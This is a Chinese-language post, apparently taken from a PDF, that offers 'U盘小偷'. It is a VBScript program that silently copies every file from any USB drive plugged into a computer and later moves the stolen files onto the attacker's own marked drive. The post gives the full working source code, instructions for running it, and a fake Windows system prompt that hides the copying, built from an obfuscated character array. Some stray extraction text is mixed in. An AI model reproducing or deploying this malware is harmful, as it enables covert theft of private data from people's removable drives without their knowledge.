U盘小偷（自动拷贝内容 ，内有方法及代码）

U盘小偷 ========================================第1页======================================== File Stealer For Removable Drive V3.1.101006 ---By Mr.Jos 简介 简介 简介 简介 顾名思义，就是通过运行该程序，自动复制该电脑上插入 U 盘上的文件，又称 U 盘小 偷、优盘大盗。 但是，我这个是参考了网上所有相关功能程序的集成并改进版，主要优点如下： 1. 静默自动运行：无论是拷贝别人优盘上的东西，还是向自己的优盘里复制进去，无需 操作； 2. 可设置型程序：设置内容包括临时复制目录、自己优盘身份文件等等，均在程序头部 有明显标注； 3. 文件筛选复制：可设置筛选复制文件大小，加速复制过程，节省磁盘空间； 4. 伪装系统提示：伪装系统插新硬件后重启提示，指示检测到目标优盘或已向自己优盘 复制完毕； 5. 多优盘不干涉：同一电脑上插入的所有优盘均会不干涉地复制下来； 6. 保持文件结构：复制下来文件保持数据源的文件夹层次结构； 7. 扩展应用范围：本程序不仅局限于复制 U 盘，理论上任何可移动磁盘都可复制 ( 本版 本暂不支持移动硬盘 ) ； 暂时想不起来了…… 有几个缺点，以后会考虑完善： 1. 不支持 Win7 ； 2. 没法根据文件类型进行筛选。 运行：没什么可说的，把源码复制到文本文档 txt 中，把扩展名改为 vbs ，然后直接在 电脑上双击运行即可。 使用：当程序检测到非己优盘时，会弹出一个系统插新硬件后需要重启的提示（这个和 XP 系统的是一模一样的，注意下左侧是问号）， 表 关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf 明程序开始将优盘里的内容向电脑上指定 的文件夹复制了。当程序检测到自己优盘时，会自动将电脑上已经复制出来的文件复制到自 己的优盘里，复制完毕后，也会弹出系统插新硬件后需要重启的提示（这个和 XP 系统的不 一样，因为它的左侧是黄色叹号），表明复制完了，可以拔了。 非己优盘与自己优盘的判定：程序如果在一个可移动磁盘里检测到测试文件（默认 copy.txt ），则认为这是自己优盘，只往里面复制；否则认为是非己优盘，只往出复制。 结束：用任务管理器结束 wscript.exe 进程。 这里主要讲下设置： 源码有个 Options Area 区域，即设置区，下设四个设置和一个子设置区域（ File Filter ， 文件筛选器），下面进行一一讲解： '----------------------Options Area----------------------- // 设置区 Dim TempSavingPath,TestFileName,DefaultCopyDirection Dim DeleteTempSavingFolder TempSavingPath="C:\Drivers\Copy\" // 电脑上的中转暂存目录 TestFileName="copy.txt" // 测试文件，用于自己 / 非己优盘判定 DefaultCopyDirection="\Copy\" // 把偷来的文件复制到自己优盘下的目录 DeleteTempSavingFolder=True // 复制到自己优盘后，是否删除中转暂存目录 ' ------------------File Filter------------------- // 文件筛选器 Dim ActiveFileFilter,MaxSize,MinSize ActiveFileFilter=True // 是否启动文件筛选器 MaxSize=500000000 // 允许复制文件的最大大小 ( 字节 ) MinSize=0// 允许复制文件的最小大小 ( 字节 ) '--------------------------------------------------------- '********************************************************* ' File Stealer For Removable Drive ' V3.1.101006 ---By Mr.Jos '********************************************************* '----------------------Options Area----------------------- Dim TempSavingPath,TestFileName,DefaultCopyDirection Dim DeleteTempSavingFolder TempSavingPath="C:\Drivers\Copy\" TestFileName="copy.txt" DefaultCopyDirection="\Copy\" DeleteTempSavingFolder=True ' ------------------File Filter------------------- Dim ActiveFileFilter,MaxSize,MinSize ActiveFileFilter=True MaxSize=500000000 MinSize=0 '--------------------------------------------------------- Dim Fso,DT,SN,temp,Data,A,B Set Fso=CreateObject("scripting.filesystemobject") Set SN =CreateObject("Scripting.Dictionary") Set Ws =CreateObject("wscript.shell") On Error Resume Next Data="-12363,-12877,-13848,-10557,-18236,-19996,87,105,110,100,111,119,115,32,-11567,-203 02,-10320,-12822,-12094,-13848,-20040,-24157,-10585,-19498,-10782,-18186,-13848,-20040,-1 9004,-14099,-17154,-11606,-14349,-10536,-12094,-14604,-18769,-17210,-13341,-17414,-24157, -20008,-12053,-10536,-12094,13,-14604,-18769,-17210,-13341,-17414,-19771,-15140,-13639,-1 2094,-19004,-13848,-10557,-13830,-12121,-24157,13,13,-12309,-12330,-11046,-16691,-10536,- 12094,-14604,-18769,-17210,-13341,-17414,-15632,-23617," A=Trans(Data,1,42) B=Trans(Data,43,494) If Not Fso.FolderExists(TempSavingPath) then Fso.CreateFolderTempSavingPath End If Do ' Wscript.Sleep 1000 Set Disks=Fso.Drives For Each Disk in Disks DT=DType(Disk) If DT=7 then temp=MsgBox(B,36,A) If ActiveFileFilter then If Fso.FolderExists(SPath(Disk)) then Fso.DeleteFolderSPath(Disk) , True End If Fso.CreateFolderSPath(Disk) For Each DFile in Fso.GetFolder(Disk & "\").Files If DFile.Size<=MaxSize and DFile.Size>=MinSize then Fso.CopyFileDFile ,SPath(Disk) & "\" End If Next FileFilter(Disk & "\") Else Steal(Disk) End If Record(Disk) End If If DT>12 then Copy(Disk) Record(Disk) temp=MsgBox(B,68,A) End If Next Wscript.sleep 9000 Loop Function DType(Str) DType=0 If Str.IsReady then DType=DType+1 If Str.DriveType=1 then DType=DType+2 End If If SN.Exists(Str.SerialNumber)=False then DType=DType+4 If Fso.FileExists(Str& "\" &TestFileName) then DType=DType+8 End If End If End If End Function Function SPath(Str) SPath=TempSavingPath&Str.VolumeName& "-" &CStr(Abs(Str.SerialNumber)) End Function Sub Steal(Str) Path=SPath(Str) If Fso.FolderExists(Path) then Fso.DeleteFolderPath,True End If Fso.CreateFolder Path Fso.CopyFolderStr& "\*",Path Fso.CopyFileStr& "\*",Path End Sub Sub Copy(Str) Dim Path Path=Str&DefaultCopyDirection If Not Fso.FolderExists(Path) then Fso.CreateFolder Path End If For Each Folder in Fso.GetFolder(TempSavingPath).SubFolders If Fso.FolderExists(Path & "\" &Folder.Name) then Fso.DeleteFolder Path & "\" &Folder.Name,True End If Next Fso.CopyFolderTempSavingPath& "*" , Path If Str.IsReady and DeleteTempSavingFolder=True then Fso.DeleteFolderTempSavingPath,True End If End Sub Sub Record(Str) If Str.IsReady then SN.AddStr.SerialNumber , "" End If End Sub Function Trans(Str,m,n) last=m-1 For i=m to n If Mid(Data,i,1)="," then current="" For j=last+1 to i-1 current=current & Mid(Data,j,1) Next Trans=Trans &chr(cint(current)) last=i End if Next End Function Function FileFilter(Folder) For Each SubFolder in Fso.GetFolder(Folder).SubFolders FolderDirection=SPath(Fso.GetDrive(Fso.GetDriveName(SubFolder))) & Mid(SubFolder,3,Len(SubFolder)) If Not Fso.FolderExists(FolderDirection) then Fso.CreateFolderFolderDirection End If For Each DFile in Fso.GetFolder(Folder).Files If DFile.Size<=MaxSize and DFile.Size>=MinSize then Fso.CopyFileDFile ,FolderDirection& "\" End If Next FileFilter(SubFolder) Next End Function